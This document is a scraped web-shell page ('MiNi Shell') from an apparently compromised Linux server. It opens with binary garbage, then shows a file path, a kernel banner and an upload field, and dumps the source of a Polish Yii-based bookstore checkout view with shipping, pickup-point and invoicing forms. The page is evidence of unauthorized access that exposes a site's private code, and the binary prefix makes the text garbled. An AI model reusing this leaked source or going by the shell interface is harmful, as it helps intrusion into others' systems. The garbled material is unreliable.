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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/ksiegarniakoszyk/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/views/ksiegarniakoszyk/order_without_registration.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\bootstrap\ActiveForm;
use yii\captcha\Captcha;
use common\models\Countries;
use yii\bootstrap\Modal;
use common\components\widgets\Pjax;
use frontend\components\helpers\SlugGenerator;
use frontend\assets\BookstoreShippingCartManagerAsset;
use common\models\types\DeliveryMethod;
use frontend\assets\SelectAsset;

SelectAsset::register($this);

\common\components\assets\Geowidgetv4Asset::register($this);
\common\components\assets\PickupPointPocztaPolskaAsset::register($this);
\common\components\assets\PwRGeoPickerAsset::register($this);

BookstoreShippingCartManagerAsset::register($this);

/* @var $this yii\web\View */
/* @var $cartData array */
/* @var $modelForm frontend\models\BookstoreOrderForm */
/* @var $modelsCompanies common\models\Companies[] */
/* @var $priceListsForCompanies array */
/* @var $itemsByCompanies array */
/* @var $itemsSubscriptionsByCompanies array */
/* @var $modelsOrdersDeliveries common\models\BookstoreOrderDeliveryForm[] */

$this->params['breadcrumbs'][] = ['label' => 'Księgarnia', 'url' => ['ksiegarnia/index']];
$this->params['breadcrumbs'][] = ['label' => 'Koszyk', 'url' => ['ksiegarniakoszyk/zawartosc']];
$this->params['breadcrumbs'][] = 'Zamówienie';

$totalAmount = 0.00;

$jsCodeForPwRGeoPicker = '';
if(!empty($modelsCompanies)) {
    foreach($modelsCompanies as $modelCompany) {
        $idCompany = $modelCompany->id_company;
        $jsCodeForPwRGeoPicker .= '
            $("#c'.$idCompany.'-select-pickup-point-ruch-all-button").pwrgeopicker("popup", {
                "map": {
                    center: [52.0693234, 19.4803112],
                    zoom: 7,
                    scrollwheel: true,
                    navigationControl: false,
                    mapTypeControl: false,
                    scaleControl: false
                },
                "popup": true,
                "autocomplete": true,
                "onselect": function(data){
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointcode").val(data.DestinationCode).trigger("change");
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointaddress").val(data.StreetName+", "+data.City+", "+data.Province+" ("+data.Location+")").trigger("change");
                }
            });

            $("#c'.$idCompany.'-select-pickup-point-ruch-cash-on-delivery-button").pwrgeopicker("popup", {
                "map": {
                    center: [52.0693234, 19.4803112],
                    zoom: 7,
                    scrollwheel: true,
                    navigationControl: false,
                    mapTypeControl: false,
                    scaleControl: false
                },
                "CashOnDelivery": true,
                "popup": true,
                "autocomplete": true,
                "onselect": function(data){
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointcode").val(data.DestinationCode).trigger("change");
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointaddress").val(data.StreetName+", "+data.City+", "+data.Province+" ("+data.Location+")").trigger("change");
                }
            });
        ';
    }
}
$this->registerJs(
    '
    $("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]").on("click", function() {
        if($(this).val() == 0) {
            $("div.only-company-field").hide();
            //$("#addresses-list").hide();
        } else {
            var idCompany = $("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            if(!idCompany) {
                clearContactDataFields();
            }
            $("div.only-company-field").show();
            $("#bookstoreorderform-id_company input[type=\"radio\"]:checked").trigger("click");
        }
    });
    
    var clearContactDataFields = function() {
        var fields = [
            "forename", "surname", "email", "phone", 
            "shipping_name", "shipping_postcode", "shipping_id_country", "shipping_locality", "shipping_street", "shipping_building_number", "shipping_apartment_number", "shipping_address_cont",
            "invoicing_name", "invoicing_tax_id", "invoicing_postcode", "invoicing_id_country", "invoicing_locality", "invoicing_street", "invoicing_building_number", "invoicing_apartment_number"
        ];
        
        $.each(fields, function(key, value) {
            $("#bookstore-order-form input[name=\"BookstoreOrderForm["+value+"]\"]").val("");
        });
    }   
    
    if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 0) {
        $("div.only-company-field").hide();
    } else if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
        $("div.only-company-field").show();
        $("#bookstoreorderform-id_company input[type=\"radio\"]").first().trigger("click");
    }
    
    $("#bookstoreorderform-or_invoice").on("change", function() {
        if($(this).is(":checked")) {
            $("#invoicing-data").show();
        } else {
            $("#invoicing-data").hide();
        }
    });
    
    $("#bookstoreorderform-or_invoice").trigger("change");
    
    $(".vjs-delivery-option").on("change", function() {
        var input = $(this);
        var idCompany = input.data("id-company");

        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val("");
        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val("");

        $("#bookstoreorderdeliveryform-"+idCompany+"-deliverymethod").val(input.data("delivery-method"));

        if(["'.DeliveryMethod::INPOST_PARCEL_LOCKER_24_7.'", "'.DeliveryMethod::PICKUP_POINTS_PP_ZABKA_ORLEN_RUCH.'", "'.DeliveryMethod::PACKAGE_IN_RUCH.'", "'.DeliveryMethod::UPS_PICKUP_POINTS.'"].indexOf(input.data("delivery-method")) !== -1) {
            if(input.data("delivery-method") === "'.DeliveryMethod::PACKAGE_IN_RUCH.'") {
                if($("#bookstoreorderdeliveryform-"+idCompany+"-deliveryoption input:checked").data("cash-on-delivery") == 1) {
                    $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").show();
                    $("#c"+idCompany+"-select-pickup-point-ruch-all-button").hide();
                } else {
                    $("#c"+idCompany+"-select-pickup-point-ruch-all-button").show();
                    $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").hide();
                }
                $("#select-pickup-point-container-"+idCompany+" .vjs-select-pickup-point-button").hide();
            } else {
                $("#c"+idCompany+"-select-pickup-point-ruch-all-button").hide();
                $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").hide();
                $("#select-pickup-point-container-"+idCompany+" .vjs-select-pickup-point-button").show();
            }
            $("#select-pickup-point-container-"+idCompany).show();                
        } else {
            $("#select-pickup-point-container-"+idCompany).hide();
        } 
    });

    var orGeoWidgetInit = false;
    $(".vjs-select-pickup-point-button").on("click", function() {   
        var idCompany = $(this).data("id-company");

        if($(".vjs-delivery-option:checked").data("delivery-method") === "'.DeliveryMethod::INPOST_PARCEL_LOCKER_24_7.'") {
            if(!orGeoWidgetInit) {
                easyPack.init({
                    map: {
                        initialZoom: 13,
                        detailsMinZoom: 15, // minimum zoom after marker click
                        autocompleteZoom: 14,
                        visiblePointsMinZoom: 13
                    },
                    points: {
                        types: ["parcel_locker"]
                    },
                });
                orGeoWidgetInit = true;
            }
            function pointCallback(point, modal) {
                modal.closeModal();
                $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val(point.name).trigger("change");
                $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val(point.address.line1+", "+point.address.line2).trigger("change");
            }
            easyPack.modalMap(pointCallback, { width: 500, height: 600 });
            easyPack.pointCallback = pointCallback;
        } else if($(".vjs-delivery-option:checked").data("delivery-method") === "'.DeliveryMethod::PICKUP_POINTS_PP_ZABKA_ORLEN_RUCH.'") {
            PPWidgetApp.toggleMap({
                callback: function(point) {
                    $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val(point.type+" "+point.pni).trigger("change");
                    $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val(point.street+", "+point.zipCode+" "+point.city).trigger("change");
                }
            });
        } else {
            var url = $(this).data("url")+"&delivery_method="+$(".vjs-delivery-option:checked").data("delivery-method");
            $("#modal-pickup-point-list").data("id-company", idCompany);
            $("#modal-pickup-point-list").modal("show").find("#pickup-point-list-pjax").load(encodeURI(url));
        }
    }); 
    
    $("#pickup-point-list-pjax").on("click", ".vjs-select-pickup-point", function() {
        var idCompany = $("#modal-pickup-point-list").data("id-company");

        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val($(this).data("id")).trigger("change");
        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val($(this).data("address")).trigger("change");
        $("#modal-pickup-point-list").modal("hide");
    });

    '.$jsCodeForPwRGeoPicker.' 

    $("#copy-data-from-shipping-data-button").on("click", function() {
        $("#bookstoreorderform-invoicing_name").val($("#bookstoreorderform-forename").val()+" "+$("#bookstoreorderform-surname").val()).trigger("change");
        $("#bookstoreorderform-invoicing_street").val($("#bookstoreorderform-shipping_street").val()).trigger("change");            
        $("#bookstoreorderform-invoicing_building_number").val($("#bookstoreorderform-shipping_building_number").val()).trigger("change");
        $("#bookstoreorderform-invoicing_apartment_number").val($("#bookstoreorderform-shipping_apartment_number").val()).trigger("change");
        $("#bookstoreorderform-invoicing_postcode").val($("#bookstoreorderform-shipping_postcode").val()).trigger("change");
        $("#bookstoreorderform-invoicing_locality").val($("#bookstoreorderform-shipping_locality").val()).trigger("change");
        $("#bookstoreorderform-invoicing_id_country").val($("#bookstoreorderform-shipping_id_country").val()).trigger("change");
    });

//    $(".vjs-delivery-option").trigger("change");

    $("document").ready(function(){

        $(".vjs-delivery-option").change(function() {
            var dostawa = 0;
            $( ".vjs-delivery-option" ).each(function() {
               if(this.checked){dostawa = dostawa + parseFloat($(this).data("amount"));};
            });
            var przedmioty =  parseFloat($("#przedmioty").data("amount"));
            $("#dostawa").text(dostawa.toFixed(2).replace(".",",")+" zł");
            var suma = (dostawa + przedmioty).toFixed(2).split(".");
            $("#zloty").text(suma[0]);
            $("#groszy").text(suma[1]);
        });

    });

    '
);

$countriesList = ArrayHelper::map(Countries::find()->orderBy('name')->asArray()->all(), 'id_country', 'name');

?>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-pickup-point-list', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'pickup-point-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<div class="container">
    <div class="row tab-row">
        <div class="col-md-9 pt08 tab-cell">
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Twój koszyk') ?></span>
            </h2> 

            
            <?php if(Yii::$app->session->hasFlash('error')): ?>
                <div class="alert alert-danger text-left mt1" role="alert">
                    <?= Yii::$app->session->getFlash('error')[0]; ?>
                </div>
            <?php endif; ?>
            <?php if(Yii::$app->session->hasFlash('confirm')): ?>
                <div class="alert alert-info text-left mt1" role="alert">
                    <?= Yii::$app->session->getFlash('confirm')[0]; ?>
                </div>
            <?php endif; ?>            
            
            
        <?php $form = ActiveForm::begin([
        'id' => 'bookstore-order-form',
        'method' => 'post',
        'enableAjaxValidation' => false,
        'enableClientValidation' => true,
        'validateOnSubmit' => true,
        'validateOnChange' => false,
        'validateOnType' => false,
        'options' => [
//                    'enctype' => 'multipart/form-data',
            'class' => 'col-xs-12 -form-horizontal'
        ],
    ]); ?>

        <div class="v-form" id="v-order">

            
            <?php if(!empty($modelsCompanies)): ?>

                <h4><b style="font-weight:800 !important; margin-top:20px; display:block;">Oferty i sposób dostawy</b></h4>
                <table class="table table-hover">
                    <tbody> 
                        <?php foreach($modelsCompanies as $modelCompany): ?>
                            <tr> 
                                <th colspan="2" style="border-color: #FFF;"><b style="font-size:16px;">Sprzedający <a href="<?= Url::to(['ksiegarnia/katalog-new', 'id_company' => $modelCompany->id_company]) ?>"><?= Html::encode($modelCompany->name) ?></a></b></th> 
                            </tr>
                            <?php if(!empty($itemsByCompanies[$modelCompany->id_company])): ?>
                                <?php foreach($itemsByCompanies[$modelCompany->id_company] as $item): ?>
                                    <tr> 
                                        <td>
                                            <div class="block-row">
                                                <?php if(!empty($item['image_url'])): ?>
                                                    <a href="<?= Url::to(['ksiegarnia/pozycja', 'id' => $item['id_book'], 'slug' => SlugGenerator::generate($item['title'])]) ?>" target="_blank" rel="nofollow noopener noreferrer">
                                                        <img loading="lazy" class="mt1 mb1" width="65"  src="<?= $item['image_url'] ?>" alt="<?= Html::encode($item['title']) ?>">
                                                    </a>
                                                <?php endif; ?>
                                                <div>
                                                    <p class="nomargin">
                                                        <?= Html::encode($item['title']) ?><br>
                                                        <small>Wersja: <?php if($item['or_electronic_version'] === 1): ?>elektroniczna<?php else: ?>papierowa<?php endif; ?></small><br>
                                                        <small class="gray"><?= $item['pcs'] ?> x <?= $item['price'] ?> zł</small>
                                                    </p>
                                                </div>
                                            </div>
                                        </td> 
                                        <td class="v-book-info text-right">
                                            <?php 
                                                $amount = ((float)$item['price'])*((int)$item['pcs']);
                                                $totalAmount += $amount;
                                                $amountParts = explode('.', number_format($amount, 2, '.', ''));
                                            ?>
                                            <var class="nomargin nowrap"><big><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                                        </td> 
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>

                            <?php if(!empty($itemsSubscriptionsByCompanies[$modelCompany->id_company])): ?>
                                <?php foreach($itemsSubscriptionsByCompanies[$modelCompany->id_company] as $item): ?>
                                    <tr> 
                                        <td>
                                            <div class="block-row">
                                            <?php if(!empty($item['image_url'])): ?>
                                                <a href="<?= Url::to(['ksiegarnia/pozycja', 'id' => $item['id_book'], 'slug' => SlugGenerator::generate($item['title'])]) ?>" target="_blank" rel="nofollow noopener noreferrer">
                                                    <img loading="lazy" class="mt1 mb1" width="65"  src="<?= $item['image_url'] ?>" alt="<?= Html::encode($item['title']) ?>">
                                                </a>
                                            <?php endif; ?>
                                                <div>
                                                    <p class="nomargin">
                                                       <?= Html::encode($item['title']) ?><br>
                                                       <small>Wersja: <?php if($item['or_electronic_version'] === 1): ?>elektroniczna<?php else: ?>papierowa<?php endif; ?></small><br>
                                                       <small class="gray"><?= $item['pcs'] ?> x <?= $item['price'] ?> zł</small>
                                                    </p>
                                                </div>
                                            </div>
                                        </td> 
                                        <td class="v-book-info text-right">
                                             <?php 
                                                  $amount = ((float)$item['price'])*((int)$item['pcs']);
                                                  $totalAmount += $amount;
                                                  $amountParts = explode('.', number_format($amount, 2, '.', ''));
                                             ?>
                                             <var class="nomargin nowrap"><big><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                                        </td> 
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>

                            <tr> 
                                <th colspan="2" style="border-color: #FFF;"><b style="font-size:16px;">Wybierz sposób dostawy:</b></th> 
                            </tr>
                            <?php if(!empty($modelsOrdersDeliveries[$modelCompany->id_company])): ?>
                                <?php 
                                    $deliveryOptions = $priceListsForCompanies[$modelCompany->id_company]; 
                                    $idCompany = $modelCompany->id_company;
                                ?>

                                <tr> 
                                    <td colspan="2" style="border-color: #FFF;">
                                        <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']deliveryOption', [
                                            'enableClientValidation' => false, 'enableAjaxValidation' => true,
                                            'template' => "<div class=\"\">{input}</div>\n{hint}\n{error}",
                                            'options' => ['class' => '-form-group'],
                                            'inputOptions' => ['class' => '']
                                        ])->radioList(
                                            $modelsOrdersDeliveries[$modelCompany->id_company]->getDeliveryOptionsList(),
                                            [
                                                        'item' => function ($index, $label, $name, $checked, $value) use ($deliveryOptions, $idCompany) {               
                                                            $output = '<div class="mb05" style="position:relative;">';
                                                            $output .= '<input class="vjs-delivery-option" data-amount="'.number_format($deliveryOptions[$value]['amount'], 2, '.', '').'" style="position:absolute;" type="radio" id="c'.$idCompany.'-delivery-option-'.$value.'" name="'.$name.'" value="'.$value.'"'.($checked ? ' checked' : '').' data-delivery-method="'.$deliveryOptions[$value]['method'].'" data-cash-on-delivery="'.$deliveryOptions[$value]['or_cash_on_delivery'].'" data-id-company="'.$idCompany.'">';
                                                            $output .= '<label for="c'.$idCompany.'-delivery-option-'.$value.'" style="position:absolute;"></label> <div style="display:inline-block;vertical-align:text-top;width:100%;padding-left:20px;">';/*.$label;*/
                                                            $output .= '<span style="float:right;">'.number_format($deliveryOptions[$value]['amount'], 2, ',', '').' zł</span>';
                                                            $output .= $deliveryOptions[$value]['method'].'<br>';
                                                            $output .= 'Sposób płatności: '.($deliveryOptions[$value]['or_cash_on_delivery']?'Pobranie':'Przedpłata').'<br>';
                                                            $output .= 'Czas dostawy: '.$deliveryOptions[$value]['time'].' dni';
                                                            list($minDeliveryTime, $maxDeliveryTime) = array_map('trim', explode(' - ',$deliveryOptions[$value]['time']));
                                                            $dateMin = (new \DateTime())->modify('+'.$minDeliveryTime.' days');
                                                            $dateMax = (new \DateTime())->modify('+'.$maxDeliveryTime.' days');
                                                            $labelsForDaysOfWeek = [
                                                                0 => 'niedzielę',
                                                                1 => 'poniedziałek',
                                                                2 => 'wtorek',
                                                                3 => 'środę',
                                                                4 => 'czwartek',
                                                                5 => 'piątek',
                                                                6 => 'sobotę'
                                                            ];
                                                            if($maxDeliveryTime < 7) $output .= ' (w '.$labelsForDaysOfWeek[(int)$dateMin->format('w')].'-'.$labelsForDaysOfWeek[(int)$dateMax->format('w')].' u Ciebie)';
                                                            #$output .= '<br>'.$label;
                                                            $output .= '</div></div>';

                                                            return $output;
                                                }
                                            ]
                                        ) ?>
                                        <?= Html::activeHiddenInput($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']deliveryMethod', ['enableClientValidation' => false, 'enableAjaxValidation' => true,]) ?>

                                        <div id="select-pickup-point-container-<?= $idCompany ?>" style="display: none;" class="row">
                                            <div class="col-sm-4">
                                            <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['class' => 'btn v-more vjs-select-pickup-point-button', 'data' => ['id-company' => $modelCompany->id_company, 'url' => Url::to(['ksiegarniakoszyk/wybierz-punkt-odbioru', 'order_type' => 'bookstore'])]]) ?>
                                            <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['id' => 'c'.$idCompany.'-select-pickup-point-ruch-all-button', 'class' => 'btn v-more']) ?>
                                            <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['id' => 'c'.$idCompany.'-select-pickup-point-ruch-cash-on-delivery-button', 'class' => 'btn v-more']) ?>
                                            </div>
                                            <div class="col-sm-3 col-xs-4">
                                                <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']pickupPointCode', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'template' => "{input}\n{label}\n{hint}\n{error}", 'options' => ['class' => '-col-md-2']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
                                            </div>
                                            <div class="col-sm-5 col-xs-8">
                                                <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']pickupPointAddress', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'template' => "{input}\n{label}\n{hint}\n{error}", 'options' => ['class' => '-col-md-8']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
                                            </div>
                                        </div>   
                                    </td>
                                </tr>
                                <tr> 
                                    <td colspan="2" style="border-color: #FFF;">
                                        <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']messageForDealer', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'options' => ['class' => 'col-md-12']])->textarea(['rows' => 3]) ?>
                                    </td> 
                                </tr>
                            <?php else: ?>
                                <tr> 
                                    <td colspan="2" style="border-color: #FFF;">
                                        Nie udało się automatycznie ustalić kompatybilnej dla całego zamówienia kosztów dostawy - sprzedawca skontaktuje się z Tobą po złożeniu zamówienia.
                                    </td> 
                                </tr>
                            <?php endif; ?>
                        <?php endforeach; ?>
                    </tbody> 
                </table>
            <?php endif; ?>
    
            </div>

                
            <div class="col-sm-12 ">
                <div class="text-center strong portal-color mb1">Zamówienie składa</div>

                <?= $form->field($modelForm, 'or_company', [
                    'template' => "<div class=\"col-sm-10 col-sm-push-1\">{input}</div>\n{hint}\n{error}",
                    'options' => ['class' => 'form-group row'],
                    'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                ])->radioList(
                    [
                        '0' => 'osoba prywatna', 
                        '1' => 'firma'
                    ],
                    [
                        'item' => function ($index, $label, $name, $checked, $value) {               
                            $output = '<div>';
                            $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_is_asking_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio"';                        
                            $output .= '><label for="radio_is_asking_'.($index+1).'"></label> '.$label;
                            $output .= '</div>';

                            return $output;
                        }
                    ]
                ) ?>

                <div class="text-center strong portal-color mb1">Dane do wysyłki</div>

                <div class="form-group row">
                    <label for="bookstoreorderform-forename" class="col-sm-2 control-label required"><?= $modelForm->getAttributeLabel('forename') ?> i <?= $modelForm->getAttributeLabel('surname') ?>:</label>
                    <?= $form->field($modelForm, 'forename', [
                        'options' => ['class' => 'col-sm-4'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Jan']) ?>
                    <?= $form->field($modelForm, 'surname', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Kowalski']) ?>
                </div>

                <?= $form->field($modelForm, 'shipping_company_name', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-2 control-label'],
                ])->textInput(['maxlength' => true]) ?>

                <?= $form->field($modelForm, 'email', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-2 control-label required'],
                ])->textInput(['maxlength' => true]) ?>

                <?= $form->field($modelForm, 'phone', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-2 control-label required'],
                ])->textInput(['maxlength' => true]) ?> 

                <div class="form-group row">
                    <label for="bookstoreorderform-shipping_id_country" class="col-sm-2 control-label required"><?= $modelForm->getAttributeLabel('shipping_id_country') ?>:</label>
                    <?= $form->field($modelForm, 'shipping_id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                        'options' => ['class' => 'col-sm-9'],
                        'enableLabel' => false
                    ])->dropDownList($countriesList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
                </div>

                <div class="form-group row">
                    <label for="bookstoreorderform-shipping_postcode" class="col-sm-2 control-label required"><?= $modelForm->getAttributeLabel('shipping_postcode') ?>, <?= $modelForm->getAttributeLabel('shipping_locality') ?>:</label>
                    <?= $form->field($modelForm, 'shipping_postcode', [
                        'options' => ['class' => 'col-sm-3'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '00-489']) ?>
                    <?= $form->field($modelForm, 'shipping_locality', [
                        'options' => ['class' => 'col-sm-6'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
                </div>

                <div class="form-group row">
                    <label for="bookstoreorderform-shipping_street" class="col-sm-2 control-label required"><?= Yii::t('frontend', 'Adres') ?>:</label>
                    <?= $form->field($modelForm, 'shipping_street', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                    <?= $form->field($modelForm, 'shipping_building_number', [
                        'options' => ['class' => 'col-sm-2 nopadding after-content', 'title' => '/'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'nr']) ?>
                    <?= $form->field($modelForm, 'shipping_apartment_number', [
                        'options' => ['class' => 'col-sm-2'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                </div> 

                <?= $form->field($modelForm, 'shipping_address_cont', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-2 control-label'],
                ])->textInput(['maxlength' => true]) ?>

                <?= $form->field($modelForm, 'or_invoice', ['options' => ['class' => 'form-group row']])->begin(); ?>
                    <label for="" class="col-sm-2 control-label"></label>
                    <div class="col-sm-7" style="margin-top: 6px;">
                        <?= Html::checkbox('BookstoreOrderForm[or_invoice]', $modelForm->or_invoice ? true : false, ['id' => 'bookstoreorderform-or_invoice', 'class' => 'check']) ?>
                        <label for="bookstoreorderform-or_invoice"></label> <?= $modelForm->getAttributeLabel('or_invoice') ?>                   
                        <?= Html::error($modelForm, 'or_invoice', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                    </div>
                <?= $form->field($modelForm, 'or_invoice')->end(); ?>

                <div id="invoicing-data">
                    <div class="text-center strong portal-color mb1">Dane do rachunku/faktury.</div>

                    <div class="mb1 text-center"><span id="copy-data-from-shipping-data-button" class="btn btn-xs btn-success">Skopiuj z danych do wysyłki</span></div>

                    <?= $form->field($modelForm, 'invoicing_name', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-2 control-label required'],
                    ])->textInput(['maxlength' => true]) ?>    

                    <?= $form->field($modelForm, 'invoicing_tax_id', [
                        'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>{hint}\n",
                        'options' => ['class' => 'form-group row'], 
                        'labelOptions' => ['class' => 'col-sm-2 control-label vjs-tax-id-label'.(intval($modelForm->or_company) === 1 ? ' required' : '')],
                    ])->textInput(['maxlength' => true]) ?>  

                    <div class="form-group row">
                        <label for="bookstoreorderform-invoicing_id_country" class="col-sm-2 control-label required"><?= $modelForm->getAttributeLabel('invoicing_id_country') ?>:</label>
                        <?= $form->field($modelForm, 'invoicing_id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                            'options' => ['class' => 'col-sm-9'],
                            'enableLabel' => false
                        ])->dropDownList($countriesList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
                    </div>

                    <div class="form-group row">
                        <label for="bookstoreorderform-invoicing_postcode" class="col-sm-2 control-label required"><?= $modelForm->getAttributeLabel('invoicing_postcode') ?>, <?= $modelForm->getAttributeLabel('shipping_locality') ?>:</label>
                        <?= $form->field($modelForm, 'invoicing_postcode', [
                            'options' => ['class' => 'col-sm-3'],
                            'enableLabel' => false
                        ])->textInput(['maxlength' => true, 'placeholder' => '00-489']) ?>
                        <?= $form->field($modelForm, 'invoicing_locality', [
                            'options' => ['class' => 'col-sm-6'],
                            'enableLabel' => false
                        ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
                    </div>

                    <div class="form-group row">
                        <label for="bookstoreorderform-invoicing_street" class="col-sm-2 control-label required"><?= Yii::t('frontend', 'Adres') ?>:</label>
                        <?= $form->field($modelForm, 'invoicing_street', [
                            'options' => ['class' => 'col-sm-5'],
                            'enableLabel' => false
                        ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                        <?= $form->field($modelForm, 'invoicing_building_number', [
                            'options' => ['class' => 'col-sm-2 nopadding after-content', 'title' => '/'],
                            'enableLabel' => false
                        ])->textInput(['maxlength' => true, 'placeholder' => 'nr']) ?>
                        <?= $form->field($modelForm, 'invoicing_apartment_number', [
                            'options' => ['class' => 'col-sm-2'],
                            'enableLabel' => false
                        ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                    </div> 
                </div>

                <div class="text-center strong portal-color mb1">Weryfikacja</div>

                <?= $form->field($modelForm, 'accept_rules', ['options' => ['class' => 'form-group row']])->begin(); ?>
                    <div class="col-sm-2 text-right nopadding">
